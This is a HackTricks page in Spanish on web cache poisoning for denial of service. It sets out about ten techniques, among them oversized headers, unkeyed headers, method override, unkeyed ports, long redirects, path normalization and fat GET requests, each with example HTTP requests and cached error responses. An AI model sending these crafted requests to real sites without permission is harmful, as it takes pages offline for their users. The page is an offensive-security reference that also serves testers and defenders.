Cache Poisoning to DoS
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
caution
En esta página puedes encontrar diferentes variaciones para intentar hacer que el servidor web responda con errores a solicitudes que son válidas para los servidores de caché
- HTTP Header Oversize (HHO)
Envía una solicitud con un tamaño de encabezado mayor que el que soporta el servidor web pero menor que el que soporta el servidor de caché. El servidor web responderá con una respuesta 400 que podría ser almacenada en caché:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) y valores inesperados
Envía un encabezado que contenga algunos caracteres meta dañinos como y . Para que el ataque funcione, primero debes eludir la caché.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Un encabezado mal configurado podría ser solo \:
como encabezado.
Esto también podría funcionar si se envían valores inesperados, como un Content-Type: inesperado.
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Encabezado sin clave
Algunos sitios web devolverán un código de estado de error si ven algunos encabezados específicos en la solicitud, como con el encabezado X-Amz-Website-Location-Redirect: someThing:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
Si el servidor admite cambiar el método HTTP con encabezados como X-HTTP-Method-Override
, X-HTTP-Method
o X-Method-Override
. Es posible solicitar una página válida cambiando el método para que el servidor no lo admita, de modo que una mala respuesta se almacene en caché:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Puerto sin clave
Si el puerto en el encabezado Host se refleja en la respuesta y no se incluye en la clave de caché, es posible redirigirlo a un puerto no utilizado:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Como en el siguiente ejemplo, x no se está almacenando en caché, por lo que un atacante podría abusar del comportamiento de respuesta de redirección para hacer que la redirección envíe una URL tan grande que devuelva un error. Luego, las personas que intenten acceder a la URL sin la clave x no almacenada en caché recibirán la respuesta de error:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalización de mayúsculas en el encabezado Host
El encabezado Host debería ser insensible a mayúsculas, pero algunos sitios web esperan que esté en minúsculas, devolviendo un error si no lo está:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalización de rutas
Algunas páginas devolverán códigos de error enviando datos URLencode en la ruta, sin embargo, el servidor de caché URLdecode la ruta y almacena la respuesta para la ruta URLdecoded:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Algunos servidores de caché, como Cloudflare, o servidores web, detienen las solicitudes GET con un cuerpo, por lo que esto podría ser abusado para almacenar en caché una respuesta inválida:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Referencias
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.